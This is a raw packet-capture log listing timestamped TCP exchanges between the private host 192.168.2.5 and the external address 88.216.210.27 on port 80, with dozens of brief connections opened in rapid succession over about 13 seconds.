Apr 9, 2023 02:59:34.499567986 CEST	49811	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:34.619224072 CEST	49812	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:34.645931959 CEST	80	49811	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:34.778407097 CEST	80	49812	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:34.778625965 CEST	49812	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:34.778786898 CEST	49812	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:34.934915066 CEST	80	49812	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:34.937879086 CEST	80	49812	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:34.937927008 CEST	80	49812	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:34.937967062 CEST	80	49812	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:34.938148975 CEST	49812	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:34.938148975 CEST	49812	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:34.938390017 CEST	49812	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:35.055803061 CEST	49813	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:35.095882893 CEST	80	49812	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:35.212419033 CEST	80	49813	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:35.212599039 CEST	49813	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:35.212759018 CEST	49813	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:35.370857000 CEST	80	49813	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:35.373456001 CEST	80	49813	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:35.373490095 CEST	80	49813	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:35.373517990 CEST	80	49813	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:35.373565912 CEST	49813	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:35.373629093 CEST	49813	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:35.373791933 CEST	49813	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:35.495332956 CEST	49814	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:35.525739908 CEST	80	49813	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:35.641666889 CEST	80	49814	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:35.642777920 CEST	49814	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:35.644534111 CEST	49814	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:35.790898085 CEST	80	49814	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:35.793165922 CEST	80	49814	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:35.793288946 CEST	80	49814	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:35.793345928 CEST	80	49814	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:35.793380976 CEST	49814	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:35.793380976 CEST	49814	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:35.793450117 CEST	49814	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:35.796346903 CEST	49814	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:35.919630051 CEST	49815	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:35.942701101 CEST	80	49814	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:36.066091061 CEST	80	49815	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:36.066857100 CEST	49815	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:36.096487045 CEST	49815	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:36.242809057 CEST	80	49815	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:36.245363951 CEST	80	49815	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:36.245390892 CEST	80	49815	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:36.245433092 CEST	80	49815	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:36.245524883 CEST	49815	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:36.246634960 CEST	49815	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:36.247704983 CEST	49815	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:36.394025087 CEST	80	49815	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:36.409822941 CEST	49816	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:36.563174009 CEST	80	49816	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:36.566653967 CEST	49816	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:36.567483902 CEST	49816	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:36.724129915 CEST	80	49816	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:36.726636887 CEST	80	49816	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:36.726670980 CEST	80	49816	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:36.726711035 CEST	80	49816	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:36.726809978 CEST	49816	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:36.726877928 CEST	49816	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:36.727272987 CEST	49816	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:36.861284018 CEST	49817	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:36.883559942 CEST	80	49816	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:37.018258095 CEST	80	49817	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:37.018551111 CEST	49817	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:37.018872976 CEST	49817	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:37.175719976 CEST	80	49817	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:37.178519011 CEST	80	49817	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:37.178673983 CEST	80	49817	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:37.178718090 CEST	80	49817	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:37.179972887 CEST	49817	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:37.180522919 CEST	49817	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:37.296796083 CEST	49818	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:37.336441040 CEST	80	49817	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:37.443144083 CEST	80	49818	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:37.443345070 CEST	49818	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:37.443516016 CEST	49818	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:37.589682102 CEST	80	49818	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:37.592242002 CEST	80	49818	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:37.592279911 CEST	80	49818	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:37.592303038 CEST	80	49818	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:37.602015018 CEST	49818	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:37.602853060 CEST	49818	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:37.718751907 CEST	49819	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:37.749017954 CEST	80	49818	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:37.865154982 CEST	80	49819	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:37.865329981 CEST	49819	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:37.865665913 CEST	49819	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:38.011881113 CEST	80	49819	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:38.015805960 CEST	80	49819	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:38.015842915 CEST	80	49819	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:38.015872955 CEST	80	49819	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:38.021229982 CEST	49819	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:38.021536112 CEST	49819	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:38.134310007 CEST	49820	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:38.167737961 CEST	80	49819	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:38.297003031 CEST	80	49820	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:38.307868958 CEST	49820	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:38.307868958 CEST	49820	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:38.466624975 CEST	80	49820	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:38.469604969 CEST	80	49820	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:38.469649076 CEST	80	49820	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:38.469672918 CEST	80	49820	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:38.470006943 CEST	49820	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:38.470550060 CEST	49820	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:38.592966080 CEST	49821	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:38.633184910 CEST	80	49820	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:38.756329060 CEST	80	49821	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:38.756583929 CEST	49821	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:38.756764889 CEST	49821	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:38.921705008 CEST	80	49821	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:38.924525023 CEST	80	49821	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:38.924566984 CEST	80	49821	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:38.924597979 CEST	80	49821	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:38.924921036 CEST	49821	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:38.925447941 CEST	49821	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:39.034909964 CEST	49822	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:39.091124058 CEST	80	49821	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:39.181777954 CEST	80	49822	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:39.182941914 CEST	49822	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:39.183321953 CEST	49822	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:39.329528093 CEST	80	49822	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:39.331959963 CEST	80	49822	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:39.332015991 CEST	80	49822	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:39.332047939 CEST	80	49822	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:39.349663019 CEST	49822	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:39.349930048 CEST	49822	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:39.466453075 CEST	49823	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:39.496049881 CEST	80	49822	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:39.612840891 CEST	80	49823	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:39.613146067 CEST	49823	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:39.613281965 CEST	49823	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:39.759450912 CEST	80	49823	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:39.763375044 CEST	80	49823	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:39.763403893 CEST	80	49823	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:39.763427973 CEST	80	49823	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:39.768296957 CEST	49823	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:39.783050060 CEST	49823	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:39.918998957 CEST	49824	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:39.929297924 CEST	80	49823	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:40.077286005 CEST	80	49824	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:40.091396093 CEST	49824	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:40.091396093 CEST	49824	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:40.251369953 CEST	80	49824	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:40.254255056 CEST	80	49824	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:40.254278898 CEST	80	49824	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:40.254301071 CEST	80	49824	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:40.256329060 CEST	49824	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:40.256329060 CEST	49824	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:40.374965906 CEST	49825	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:40.412301064 CEST	80	49824	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:40.528036118 CEST	80	49825	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:40.536057949 CEST	49825	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:40.601707935 CEST	49825	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:40.759875059 CEST	80	49825	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:40.762120008 CEST	80	49825	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:40.762154102 CEST	80	49825	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:40.762183905 CEST	80	49825	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:40.766048908 CEST	49825	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:40.833262920 CEST	49825	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:40.983841896 CEST	49826	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:40.992727995 CEST	80	49825	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:41.130171061 CEST	80	49826	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:41.130399942 CEST	49826	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:41.130728006 CEST	49826	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:41.277621984 CEST	80	49826	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:41.280947924 CEST	80	49826	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:41.280986071 CEST	80	49826	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:41.281013966 CEST	80	49826	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:41.298105955 CEST	49826	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:41.321319103 CEST	49826	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:41.450736046 CEST	49827	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:41.467704058 CEST	80	49826	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:41.597414970 CEST	80	49827	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:41.603423119 CEST	49827	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:41.634243965 CEST	49827	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:41.780710936 CEST	80	49827	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:41.783133030 CEST	80	49827	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:41.783174992 CEST	80	49827	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:41.783205986 CEST	80	49827	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:41.786480904 CEST	49827	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:42.151530027 CEST	49827	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:42.297920942 CEST	80	49827	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:42.342617035 CEST	49828	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:42.495966911 CEST	80	49828	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:42.496212959 CEST	49828	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:42.503015995 CEST	49828	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:42.660454035 CEST	80	49828	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:42.663001060 CEST	80	49828	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:42.663060904 CEST	80	49828	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:42.663103104 CEST	80	49828	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:42.669611931 CEST	49828	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:42.669956923 CEST	49828	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:42.785911083 CEST	49829	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:42.826734066 CEST	80	49828	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:42.941469908 CEST	80	49829	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:42.945112944 CEST	49829	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:42.945302010 CEST	49829	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:43.102242947 CEST	80	49829	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:43.105007887 CEST	80	49829	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:43.105046988 CEST	80	49829	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:43.105087996 CEST	80	49829	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:43.105370045 CEST	49829	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:43.106131077 CEST	49829	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:43.213939905 CEST	49830	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:43.266071081 CEST	80	49829	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:43.360378027 CEST	80	49830	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:43.371505976 CEST	49830	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:43.373178959 CEST	49830	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:43.519411087 CEST	80	49830	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:43.522044897 CEST	80	49830	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:43.522237062 CEST	49830	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:43.522284985 CEST	80	49830	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:43.522316933 CEST	80	49830	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:43.522341013 CEST	80	49830	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:43.522383928 CEST	49830	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:43.522495031 CEST	49830	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:43.522563934 CEST	49830	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:43.627980947 CEST	49831	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:43.668786049 CEST	80	49830	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:43.774497032 CEST	80	49831	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:43.774683952 CEST	49831	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:43.774811983 CEST	49831	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:43.920938015 CEST	80	49831	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:43.923401117 CEST	80	49831	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:43.923449039 CEST	80	49831	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:43.923485994 CEST	80	49831	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:43.923543930 CEST	49831	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:43.923609972 CEST	49831	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:43.923696041 CEST	49831	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:44.035723925 CEST	49832	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:44.185142040 CEST	80	49832	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:44.185362101 CEST	49832	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:44.246824026 CEST	49832	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:44.394870996 CEST	80	49832	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:44.397417068 CEST	80	49832	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:44.397473097 CEST	80	49832	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:44.397510052 CEST	80	49832	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:44.397638083 CEST	49832	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:44.397701979 CEST	49832	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:44.397881985 CEST	49832	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:44.453672886 CEST	49831	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:44.504261017 CEST	49833	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:44.547211885 CEST	80	49832	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:44.600162983 CEST	80	49831	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:44.657802105 CEST	80	49833	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:44.658031940 CEST	49833	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:44.661484003 CEST	49833	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:44.812642097 CEST	80	49833	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:44.815232992 CEST	80	49833	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:44.815309048 CEST	80	49833	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:44.815346003 CEST	49833	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:44.815351963 CEST	80	49833	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:44.815392971 CEST	49833	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:44.815409899 CEST	49833	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:44.815833092 CEST	49833	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:44.931576014 CEST	49834	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:44.967029095 CEST	80	49833	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:45.078102112 CEST	80	49834	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:45.078293085 CEST	49834	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:45.078880072 CEST	49834	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:45.225055933 CEST	80	49834	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:45.227627039 CEST	80	49834	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:45.227683067 CEST	80	49834	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:45.227718115 CEST	80	49834	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:45.227813005 CEST	49834	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:45.227864027 CEST	49834	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:45.228143930 CEST	49834	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:45.346658945 CEST	49835	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:45.374346018 CEST	80	49834	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:45.493057013 CEST	80	49835	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:45.495526075 CEST	49835	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:45.497379065 CEST	49835	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:45.645837069 CEST	80	49835	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:45.648286104 CEST	80	49835	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:45.648325920 CEST	80	49835	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:45.648350954 CEST	80	49835	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:45.648379087 CEST	80	49835	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:45.648452997 CEST	49835	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:45.648508072 CEST	49835	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:45.651582003 CEST	49835	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:45.785135984 CEST	49836	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:45.798489094 CEST	80	49835	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:45.938941956 CEST	80	49836	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:45.939165115 CEST	49836	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:45.939620018 CEST	49836	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:46.093250990 CEST	80	49836	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:46.095964909 CEST	80	49836	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:46.096004963 CEST	80	49836	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:46.096026897 CEST	80	49836	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:46.096046925 CEST	80	49836	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:46.096120119 CEST	49836	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:46.096172094 CEST	49836	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:46.096390009 CEST	49836	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:46.206079960 CEST	49837	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:46.248929024 CEST	80	49836	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:46.358195066 CEST	80	49837	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:46.359606028 CEST	49837	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:46.364116907 CEST	49837	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:46.514945030 CEST	80	49837	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:46.517846107 CEST	80	49837	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:46.517896891 CEST	80	49837	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:46.517920017 CEST	80	49837	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:46.518009901 CEST	49837	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:46.518064022 CEST	49837	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:46.521450043 CEST	49837	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:46.660581112 CEST	49838	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:46.681927919 CEST	80	49837	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:46.806947947 CEST	80	49838	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:46.808597088 CEST	49838	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:46.808739901 CEST	49838	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:46.954966068 CEST	80	49838	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:46.958861113 CEST	80	49838	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:46.958904028 CEST	80	49838	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:46.958934069 CEST	80	49838	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:46.959059954 CEST	49838	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:46.959114075 CEST	49838	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:46.959316969 CEST	49838	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:47.071206093 CEST	49839	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:47.105458975 CEST	80	49838	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:47.217607975 CEST	80	49839	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:47.217927933 CEST	49839	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:47.218065023 CEST	49839	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:47.365326881 CEST	80	49839	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:47.366549969 CEST	80	49839	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:47.366730928 CEST	49839	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:47.366748095 CEST	80	49839	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:47.366777897 CEST	80	49839	88.216.210.27	192.168.2.5
Apr 9, 2023 02:59:47.366833925 CEST	49839	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:47.366863012 CEST	49839	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:47.367142916 CEST	49839	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:59:47.476219893 CEST	49840	80	192.168.2.5	88.216.210.27
